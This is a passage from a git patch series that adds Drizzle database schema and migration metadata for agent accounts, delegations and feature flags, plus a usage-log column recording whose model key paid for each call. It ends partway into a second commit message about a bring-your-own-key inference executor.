"agent_account_bindings_agentPageId_pages_id_fk": { + "name": "agent_account_bindings_agentPageId_pages_id_fk", + "tableFrom": "agent_account_bindings", + "tableTo": "pages", + "columnsFrom": [ + "agentPageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "agent_account_bindings_boundByUserId_users_id_fk": { + "name": "agent_account_bindings_boundByUserId_users_id_fk", + "tableFrom": "agent_account_bindings", + "tableTo": "users", + "columnsFrom": [ + "boundByUserId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "agent_account_bindings_accountId_agentPageId_pk": { + "name": "agent_account_bindings_accountId_agentPageId_pk", + "columns": [ + "accountId", + "agentPageId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.agent_account_delegations": { + "name": "agent_account_delegations", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "accountId": { + "name": "accountId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "agentPageId": { + "name": "agentPageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "delegatedByUserId": { + "name": "delegatedByUserId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scope": { + "name": "scope", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "revokedAt": { + "name": "revokedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "agent_account_delegations_account_id_idx": { + "name": "agent_account_delegations_account_id_idx", + "columns": [ + { + "expression": "accountId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "agent_account_delegations_accountId_agent_accounts_id_fk": { + "name": "agent_account_delegations_accountId_agent_accounts_id_fk", + "tableFrom": "agent_account_delegations", + "tableTo": "agent_accounts", + "columnsFrom": [ + "accountId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "agent_account_delegations_agentPageId_pages_id_fk": { + "name": "agent_account_delegations_agentPageId_pages_id_fk", + "tableFrom": "agent_account_delegations", + "tableTo": "pages", + "columnsFrom": [ + "agentPageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "agent_account_delegations_delegatedByUserId_users_id_fk": { + "name": "agent_account_delegations_delegatedByUserId_users_id_fk", + "tableFrom": "agent_account_delegations", + "tableTo": "users", + "columnsFrom": [ + "delegatedByUserId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.agent_accounts": { + "name": "agent_accounts", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "kind": { + "name": "kind", + "type": "agent_account_kind", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "ownerKind": { + "name": "ownerKind", + "type": "agent_account_owner_kind", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "ownerUserId": { + "name": "ownerUserId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "ownerAgentPageId": { + "name": "ownerAgentPageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "ownerDriveId": { + "name": "ownerDriveId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "tenantId": { + "name": "tenantId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "providerSlug": { + "name": "providerSlug", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "allowedOrigins": { + "name": "allowedOrigins", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "auxiliaryOrigins": { + "name": "auxiliaryOrigins", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "resourceRestrictions": { + "name": "resourceRestrictions", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "approvalPolicy": { + "name": "approvalPolicy", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "credentialVersion": { + "name": "credentialVersion", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "policyVersion": { + "name": "policyVersion", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 1 + }, + "acknowledgment": { + "name": "acknowledgment", + "type": "agent_account_acknowledgment", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "sessionFormat": { + "name": "sessionFormat", + "type": "agent_account_session_format", + "typeSchema": "public", + "primaryKey": false, + "notNull": false + }, + "sessionHttpEnabled": { + "name": "sessionHttpEnabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "status": { + "name": "status", + "type": "agent_account_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "upstreamRevocation": { + "name": "upstreamRevocation", + "type": "agent_account_upstream_revocation", + "typeSchema": "public", + "primaryKey": false, + "notNull": false + }, + "lastUsedAt": { + "name": "lastUsedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "publicKey": { + "name": "publicKey", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "revokedAt": { + "name": "revokedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "agent_accounts_owner_user_id_idx": { + "name": "agent_accounts_owner_user_id_idx", + "columns": [ + { + "expression": "ownerUserId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "agent_accounts_owner_agent_page_id_idx": { + "name": "agent_accounts_owner_agent_page_id_idx", + "columns": [ + { + "expression": "ownerAgentPageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "agent_accounts_owner_drive_id_idx": { + "name": "agent_accounts_owner_drive_id_idx", + "columns": [ + { + "expression": "ownerDriveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "agent_accounts_ownerUserId_users_id_fk": { + "name": "agent_accounts_ownerUserId_users_id_fk", + "tableFrom": "agent_accounts", + "tableTo": "users", + "columnsFrom": [ + "ownerUserId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "agent_accounts_ownerAgentPageId_pages_id_fk": { + "name": "agent_accounts_ownerAgentPageId_pages_id_fk", + "tableFrom": "agent_accounts", + "tableTo": "pages", + "columnsFrom": [ + "ownerAgentPageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "agent_accounts_ownerDriveId_drives_id_fk": { + "name": "agent_accounts_ownerDriveId_drives_id_fk", + "tableFrom": "agent_accounts", + "tableTo": "drives", + "columnsFrom": [ + "ownerDriveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "agent_accounts_owner_scope_chk": { + "name": "agent_accounts_owner_scope_chk", + "value": "(\"agent_accounts\".\"ownerKind\" = 'user' AND \"agent_accounts\".\"ownerUserId\" IS NOT NULL AND \"agent_accounts\".\"ownerAgentPageId\" IS NULL AND \"agent_accounts\".\"ownerDriveId\" IS NULL)\n OR (\"agent_accounts\".\"ownerKind\" = 'agent_page' AND \"agent_accounts\".\"ownerUserId\" IS NULL AND \"agent_accounts\".\"ownerAgentPageId\" IS NOT NULL AND \"agent_accounts\".\"ownerDriveId\" IS NOT NULL)" + }, + "agent_accounts_tenant_derived_chk": { + "name": "agent_accounts_tenant_derived_chk", + "value": "(\"agent_accounts\".\"ownerKind\" = 'user' AND \"agent_accounts\".\"tenantId\" = 'user:' || \"agent_accounts\".\"ownerUserId\")\n OR (\"agent_accounts\".\"ownerKind\" = 'agent_page' AND \"agent_accounts\".\"tenantId\" = 'drive:' || \"agent_accounts\".\"ownerDriveId\")" + }, + "agent_accounts_allowed_origins_nonempty_chk": { + "name": "agent_accounts_allowed_origins_nonempty_chk", + "value": "jsonb_typeof(\"agent_accounts\".\"allowedOrigins\") = 'array' AND jsonb_array_length(\"agent_accounts\".\"allowedOrigins\") > 0" + }, + "agent_accounts_session_format_chk": { + "name": "agent_accounts_session_format_chk", + "value": "(\"agent_accounts\".\"kind\" = 'session') = (\"agent_accounts\".\"sessionFormat\" IS NOT NULL)" + }, + "agent_accounts_session_http_chk": { + "name": "agent_accounts_session_http_chk", + "value": "\"agent_accounts\".\"sessionHttpEnabled\" = false OR \"agent_accounts\".\"kind\" = 'session'" + }, + "agent_accounts_versions_chk": { + "name": "agent_accounts_versions_chk", + "value": "\"agent_accounts\".\"credentialVersion\" >= 0 AND \"agent_accounts\".\"policyVersion\" >= 1" + } + }, + "isRLSEnabled": false + }, + "public.user_builtin_agents": { + "name": "user_builtin_agents", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "key": { + "name": "key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "user_builtin_agents_user_key_idx": { + "name": "user_builtin_agents_user_key_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "user_builtin_agents_page_idx": { + "name": "user_builtin_agents_page_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "user_builtin_agents_userId_users_id_fk": { + "name": "user_builtin_agents_userId_users_id_fk", + "tableFrom": "user_builtin_agents", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "user_builtin_agents_pageId_pages_id_fk": { + "name": "user_builtin_agents_pageId_pages_id_fk", + "tableFrom": "user_builtin_agents", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.imago_drive_access": { + "name": "imago_drive_access", + "schema": "", + "columns": { + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "enabled": { + "name": "enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "imago_drive_access_drive_idx": { + "name": "imago_drive_access_drive_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "imago_drive_access_userId_users_id_fk": { + "name": "imago_drive_access_userId_users_id_fk", + "tableFrom": "imago_drive_access", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "imago_drive_access_driveId_drives_id_fk": { + "name": "imago_drive_access_driveId_drives_id_fk", + "tableFrom": "imago_drive_access", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "imago_drive_access_userId_driveId_pk": { + "name": "imago_drive_access_userId_driveId_pk", + "columns": [ + "userId", + "driveId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.feature_flag_user_overrides": { + "name": "feature_flag_user_overrides", + "schema": "", + "columns": { + "flag_key": { + "name": "flag_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "enabled": { + "name": "enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_by": { + "name": "updated_by", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "feature_flag_user_overrides_user_idx": { + "name": "feature_flag_user_overrides_user_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "feature_flag_user_overrides_user_id_users_id_fk": { + "name": "feature_flag_user_overrides_user_id_users_id_fk", + "tableFrom": "feature_flag_user_overrides", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "feature_flag_user_overrides_flag_key_user_id_pk": { + "name": "feature_flag_user_overrides_flag_key_user_id_pk", + "columns": [ + "flag_key", + "user_id" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.feature_flags": { + "name": "feature_flags", + "schema": "", + "columns": { + "key": { + "name": "key", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "enabled_by_default": { + "name": "enabled_by_default", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_by": { + "name": "updated_by", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + } + }, + "enums": { + "public.AccountType": { + "name": "AccountType", + "schema": "public", + "values": [ + "human", + "agent" + ] + }, + "public.AuthProvider": { + "name": "AuthProvider", + "schema": "public", + "values": [ + "email", + "google", + "apple" + ] + }, + "public.PlatformType": { + "name": "PlatformType", + "schema": "public", + "values": [ + "web", + "desktop", + "ios", + "android" + ] + }, + "public.UserRole": { + "name": "UserRole", + "schema": "public", + "values": [ + "user", + "admin" + ] + }, + "public.DriveKind": { + "name": "DriveKind", + "schema": "public", + "values": [ + "STANDARD", + "HOME" + ] + }, + "public.FavoriteItemType": { + "name": "FavoriteItemType", + "schema": "public", + "values": [ + "page", + "drive" + ] + }, + "public.OrgDriveVisibility": { + "name": "OrgDriveVisibility", + "schema": "public", + "values": [ + "OPEN", + "RESTRICTED", + "PRIVATE" + ] + }, + "public.PageType": { + "name": "PageType", + "schema": "public", + "values": [ + "FOLDER", + "DOCUMENT", + "CHANNEL", + "AI_CHAT", + "CANVAS", + "FILE", + "SHEET", + "TASK_LIST", + "CODE", + "MACHINE" + ] + }, + "public.DriveMemberSource": { + "name": "DriveMemberSource", + "schema": "public", + "values": [ + "invite", + "org" + ] + }, + "public.MemberRole": { + "name": "MemberRole", + "schema": "public", + "values": [ + "OWNER", + "ADMIN", + "MEMBER", + "GUEST" + ] + }, + "public.pulse_summary_type": { + "name": "pulse_summary_type", + "schema": "public", + "values": [ + "scheduled", + "on_demand", + "welcome" + ] + }, + "public.NotificationType": { + "name": "NotificationType", + "schema": "public", + "values": [ + "PERMISSION_GRANTED", + "PERMISSION_REVOKED", + "PERMISSION_UPDATED", + "PAGE_SHARED", + "DRIVE_INVITED", + "DRIVE_JOINED", + "DRIVE_ROLE_CHANGED", + "CONNECTION_REQUEST", + "CONNECTION_ACCEPTED", + "CONNECTION_REJECTED", + "NEW_DIRECT_MESSAGE", + "EMAIL_VERIFICATION_REQUIRED", + "TOS_PRIVACY_UPDATED", + "MENTION", + "TASK_ASSIGNED", + "AUTOMATION_SKIPPED", + "WALLET_DEBT", + "WALLET_CAP_ALERT", + "PRODUCT_UPDATE" + ] + }, + "public.toast_notification_level": { + "name": "toast_notification_level", + "schema": "public", + "values": [ + "all", + "mentions", + "off" + ] + }, + "public.display_preference_type": { + "name": "display_preference_type", + "schema": "public", + "values": [ + "SHOW_TOKEN_COUNTS", + "SHOW_CODE_TOGGLE", + "DEFAULT_MARKDOWN_MODE" + ] + }, + "public.activity_change_group_type": { + "name": "activity_change_group_type", + "schema": "public", + "values": [ + "user", + "ai", + "automation", + "system" + ] + }, + "public.activity_resource": { + "name": "activity_resource", + "schema": "public", + "values": [ + "page", + "drive", + "permission", + "agent", + "user", + "member", + "role", + "file", + "token", + "device", + "message", + "conversation" + ] + }, + "public.content_format": { + "name": "content_format", + "schema": "public", + "values": [ + "text", + "html", + "json", + "tiptap" + ] + }, + "public.http_method": { + "name": "http_method", + "schema": "public", + "values": [ + "GET", + "POST", + "PUT", + "DELETE", + "PATCH", + "HEAD", + "OPTIONS" + ] + }, + "public.log_level": { + "name": "log_level", + "schema": "public", + "values": [ + "trace", + "debug", + "info", + "warn", + "error", + "fatal" + ] + }, + "public.drive_backup_schedule_frequency": { + "name": "drive_backup_schedule_frequency", + "schema": "public", + "values": [ + "daily", + "weekly", + "monthly" + ] + }, + "public.drive_backup_source": { + "name": "drive_backup_source", + "schema": "public", + "values": [ + "manual", + "scheduled", + "pre_restore", + "system" + ] + }, + "public.drive_backup_status": { + "name": "drive_backup_status", + "schema": "public", + "values": [ + "pending", + "ready", + "failed" + ] + }, + "public.page_version_source": { + "name": "page_version_source", + "schema": "public", + "values": [ + "manual", + "auto", + "pre_ai", + "pre_restore", + "restore", + "system" + ] + }, + "public.ConnectionStatus": { + "name": "ConnectionStatus", + "schema": "public", + "values": [ + "PENDING", + "ACCEPTED", + "BLOCKED" + ] + }, + "public.PushPlatformType": { + "name": "PushPlatformType", + "schema": "public", + "values": [ + "ios", + "android", + "web" + ] + }, + "public.integration_connection_status": { + "name": "integration_connection_status", + "schema": "public", + "values": [ + "active", + "expired", + "error", + "pending", + "revoked" + ] + }, + "public.integration_provider_type": { + "name": "integration_provider_type", + "schema": "public", + "values": [ + "builtin", + "openapi", + "custom", + "mcp", + "webhook" + ] + }, + "public.integration_visibility": { + "name": "integration_visibility", + "schema": "public", + "values": [ + "private", + "owned_drives", + "all_drives" + ] + }, + "public.AttendeeStatus": { + "name": "AttendeeStatus", + "schema": "public", + "values": [ + "PENDING", + "ACCEPTED", + "DECLINED", + "TENTATIVE" + ] + }, + "public.EventVisibility": { + "name": "EventVisibility", + "schema": "public", + "values": [ + "DRIVE", + "ATTENDEES_ONLY", + "PRIVATE" + ] + }, + "public.GoogleCalendarConnectionStatus": { + "name": "GoogleCalendarConnectionStatus", + "schema": "public", + "values": [ + "active", + "expired", + "error", + "disconnected" + ] + }, + "public.RecurrenceFrequency": { + "name": "RecurrenceFrequency", + "schema": "public", + "values": [ + "DAILY", + "WEEKLY", + "MONTHLY", + "YEARLY" + ] + }, + "public.WorkflowTriggerType": { + "name": "WorkflowTriggerType", + "schema": "public", + "values": [ + "cron", + "event" + ] + }, + "public.WorkflowRunSourceTable": { + "name": "WorkflowRunSourceTable", + "schema": "public", + "values": [ + "taskTriggers", + "calendarTriggers", + "webhookTriggers", + "cron", + "manual" + ] + }, + "public.WorkflowRunStatus": { + "name": "WorkflowRunStatus", + "schema": "public", + "values": [ + "running", + "success", + "error", + "cancelled" + ] + }, + "public.WorkflowRunStepStatus": { + "name": "WorkflowRunStepStatus", + "schema": "public", + "values": [ + "running", + "success", + "error", + "skipped" + ] + }, + "public.TaskTriggerType": { + "name": "TaskTriggerType", + "schema": "public", + "values": [ + "due_date", + "completion" + ] + }, + "public.DriveJoinRequestStatus": { + "name": "DriveJoinRequestStatus", + "schema": "public", + "values": [ + "pending", + "approved", + "denied", + "withdrawn" + ] + }, + "public.ZoomConnectionStatus": { + "name": "ZoomConnectionStatus", + "schema": "public", + "values": [ + "active", + "expired", + "error", + "disconnected" + ] + }, + "public.ContentTagAnchorStatus": { + "name": "ContentTagAnchorStatus", + "schema": "public", + "values": [ + "exact", + "shifted", + "fuzzy", + "orphaned" + ] + }, + "public.ContentTagSource": { + "name": "ContentTagSource", + "schema": "public", + "values": [ + "user", + "ai", + "system", + "rule" + ] + }, + "public.ContentTagTargetKind": { + "name": "ContentTagTargetKind", + "schema": "public", + "values": [ + "page", + "text", + "sheet_cell", + "channel_message", + "ai_message" + ] + }, + "public.custom_domain_status": { + "name": "custom_domain_status", + "schema": "public", + "values": [ + "pending", + "verified", + "failed", + "provisioning", + "active", + "dns_failed", + "cert_failed" + ] + }, + "public.data_subject_request_status": { + "name": "data_subject_request_status", + "schema": "public", + "values": [ + "pending", + "queued", + "in_progress", + "blocked", + "completed", + "failed", + "cancelled" + ] + }, + "public.data_subject_request_type": { + "name": "data_subject_request_type", + "schema": "public", + "values": [ + "erasure", + "export", + "access", + "rectification", + "restriction", + "portability", + "objection" + ] + }, + "public.data_subject_requester_type": { + "name": "data_subject_requester_type", + "schema": "public", + "values": [ + "self", + "admin" + ] + }, + "public.OAuthClientType": { + "name": "OAuthClientType", + "schema": "public", + "values": [ + "public", + "confidential" + ] + }, + "public.published_app_status": { + "name": "published_app_status", + "schema": "public", + "values": [ + "provisioning", + "building", + "deploying", + "running", + "stopped", + "parked", + "destroying", + "failed" + ] + }, + "public.published_app_tier": { + "name": "published_app_tier", + "schema": "public", + "values": [ + "metered", + "dedicated" + ] + }, + "public.broadcast_recipient_status": { + "name": "broadcast_recipient_status", + "schema": "public", + "values": [ + "pending", + "sent", + "skipped", + "failed" + ] + }, + "public.email_broadcast_content_mode": { + "name": "email_broadcast_content_mode", + "schema": "public", + "values": [ + "compose", + "template" + ] + }, + "public.email_broadcast_engine": { + "name": "email_broadcast_engine", + "schema": "public", + "values": [ + "transactional", + "resend_broadcast" + ] + }, + "public.email_broadcast_status": { + "name": "email_broadcast_status", + "schema": "public", + "values": [ + "draft", + "pending", + "queued", + "in_progress", + "paused", + "completed", + "failed", + "cancelled" + ] + }, + "public.OrgRole": { + "name": "OrgRole", + "schema": "public", + "values": [ + "OWNER", + "ADMIN", + "MEMBER" + ] + }, + "public.agent_account_acknowledgment": { + "name": "agent_account_acknowledgment", + "schema": "public", + "values": [ + "dedicated_agent_account", + "personal_login_acknowledged" + ] + }, + "public.agent_account_approval_outcome": { + "name": "agent_account_approval_outcome", + "schema": "public", + "values": [ + "allow_once", + "always", + "deny" + ] + }, + "public.agent_account_kind": { + "name": "agent_account_kind", + "schema": "public", + "values": [ + "api_key", + "bearer", + "oauth2", + "session", + "password", + "ssh_key" + ] + }, + "public.agent_account_owner_kind": { + "name": "agent_account_owner_kind", + "schema": "public", + "values": [ + "user", + "agent_page" + ] + }, + "public.agent_account_session_format": { + "name": "agent_account_session_format", + "schema": "public", + "values": [ + "cookie-jar-v1", + "storage-state-v1", + "human-relogin" + ] + }, + "public.agent_account_status": { + "name": "agent_account_status", + "schema": "public", + "values": [ + "active", + "revoked", + "needs_reauth", + "deleted" + ] + }, + "public.agent_account_upstream_revocation": { + "name": "agent_account_upstream_revocation", + "schema": "public", + "values": [ + "not_attempted", + "revoked", + "unsupported", + "failed" + ] + } + }, + "schemas": {}, + "sequences": {}, + "roles": {}, + "policies": {}, + "views": {}, + "_meta": { + "columns": {}, + "schemas": {}, + "tables": {} + } +} \ No newline at end of file diff --git a/packages/db/drizzle/meta/_journal.json b/packages/db/drizzle/meta/_journal.json index cca0a87e61..e87f0e8482 100644 --- a/packages/db/drizzle/meta/_journal.json +++ b/packages/db/drizzle/meta/_journal.json @@ -2542,6 +2542,13 @@ "when": 1795956260354, "tag": "0393_local_env_ga", "breakpoints": true + }, + { + "idx": 363, + "version": "7", + "when": 1796001632005, + "tag": "0394_byok_feature_flags", + "breakpoints": true } ] } \ No newline at end of file diff --git a/packages/db/package.json b/packages/db/package.json index b91d2bb56f..baa559e080 100644 --- a/packages/db/package.json +++ b/packages/db/package.json @@ -63,6 +63,10 @@ "types": "./dist/schema/agent-accounts.d.ts", "default": "./dist/schema/agent-accounts.js" }, + "./schema/feature-flags": { + "types": "./dist/schema/feature-flags.d.ts", + "default": "./dist/schema/feature-flags.js" + }, "./schema/agent-account-grant-nonces": { "types": "./dist/schema/agent-account-grant-nonces.d.ts", "default": "./dist/schema/agent-account-grant-nonces.js" diff --git a/packages/db/src/schema.ts b/packages/db/src/schema.ts index 72441c4a87..55f8dd00f5 100644 --- a/packages/db/src/schema.ts +++ b/packages/db/src/schema.ts @@ -78,6 +78,7 @@ export * from './schema/org-guest-holds'; export * from './schema/agent-accounts'; export * from './schema/user-builtin-agents'; export * from './schema/imago-drive-access'; +export * from './schema/feature-flags'; import * as auth from './schema/auth'; import * as sessions from './schema/sessions'; @@ -158,6 +159,7 @@ import * as orgGuestHolds from './schema/org-guest-holds'; import * as agentAccounts from './schema/agent-accounts'; import * as userBuiltinAgents from './schema/user-builtin-agents'; import * as imagoDriveAccess from './schema/imago-drive-access'; +import * as featureFlags from './schema/feature-flags'; export const schema = { ...auth, @@ -239,4 +241,5 @@ export const schema = { ...agentAccounts, ...userBuiltinAgents, ...imagoDriveAccess, + ...featureFlags, }; diff --git a/packages/db/src/schema/feature-flags.ts b/packages/db/src/schema/feature-flags.ts new file mode 100644 index 0000000000..2d0769e67b --- /dev/null +++ b/packages/db/src/schema/feature-flags.ts @@ -0,0 +1,39 @@ +/** + * FEATURE FLAGS — features a PageSpace admin turns on for everyone or for named people. + * + * `feature_flags` holds the default for a flag. A row in `feature_flag_user_overrides` + * decides it for one person and wins over the default. A flag with no row is off: a + * feature behind a flag never ships to anyone until an admin says so. The keys a flag + * may take are fixed in code (`packages/lib/src/feature-flags/flags.ts`), so an unknown + * key in either table is ignored, never interpreted. + */ +import { pgTable, text, timestamp, boolean, primaryKey, index } from 'drizzle-orm/pg-core'; +import { users } from './auth'; + +export const featureFlags = pgTable('feature_flags', { + key: text('key').primaryKey(), + enabledByDefault: boolean('enabled_by_default').default(false).notNull(), + updatedAt: timestamp('updated_at', { mode: 'date', withTimezone: true }).defaultNow().notNull(), + /** The admin who last changed the default; a soft reference so an admin's erasure never blocks it. */ + updatedBy: text('updated_by'), +}); + +export const featureFlagUserOverrides = pgTable( + 'feature_flag_user_overrides', + { + flagKey: text('flag_key').notNull(), + userId: text('user_id') + .notNull() + .references(() => users.id, { onDelete: 'cascade' }), + enabled: boolean('enabled').notNull(), + updatedAt: timestamp('updated_at', { mode: 'date', withTimezone: true }).defaultNow().notNull(), + updatedBy: text('updated_by'), + }, + (table) => ({ + pk: primaryKey({ columns: [table.flagKey, table.userId] }), + userIdx: index('feature_flag_user_overrides_user_idx').on(table.userId), + }), +); + +export type FeatureFlagRow = typeof featureFlags.$inferSelect; +export type FeatureFlagUserOverrideRow = typeof featureFlagUserOverrides.$inferSelect; diff --git a/packages/db/src/schema/monitoring.ts b/packages/db/src/schema/monitoring.ts index 74b423315c..48498136f5 100644 --- a/packages/db/src/schema/monitoring.ts +++ b/packages/db/src/schema/monitoring.ts @@ -202,6 +202,13 @@ export const aiUsageLogs = pgTable('ai_usage_logs', { */ unattributedAt: timestamp('unattributed_at', { mode: 'date', withTimezone: true }), + /** + * BYOK: whose provider key paid for this call upstream. 'managed' = PageSpace's deployment key + * (billed in credits); 'user_key' = the person's own OpenRouter key through the credential plane + * (never billed in credits, never reconciled against PageSpace's OpenRouter account). + */ + keySource: text('key_source').default('managed').notNull(), + // Metadata metadata: jsonb('metadata'), From 635bfae64e0d573910676208eed5105a5a5dc782 Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Sun, 29 Nov 2026 19:37:16 -0600 Subject: [PATCH 02/35] =?UTF-8?q?feat(agent-accounts):=20inference=20execu?= =?UTF-8?q?tor=20=E2=80=94=20a=20person's=20own=20model=20key,=20streamed?= =?UTF-8?q?=20through=20the=20plane=20(BYOK-3,=20BYOK-4,=20BYOK-5)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - New presenter inference-executor (resolves api_key only) and a reserved providerSlug that makes a user-owned api_key account a model key, pinned to https://openrouter.ai:443. http_request refuses model keys outright, they are hidden from list_accounts, and no edit, binding or delegation can change one. - authorizeInference: the acting human's own key only, agentPageId forced null, the exact body canonicalized 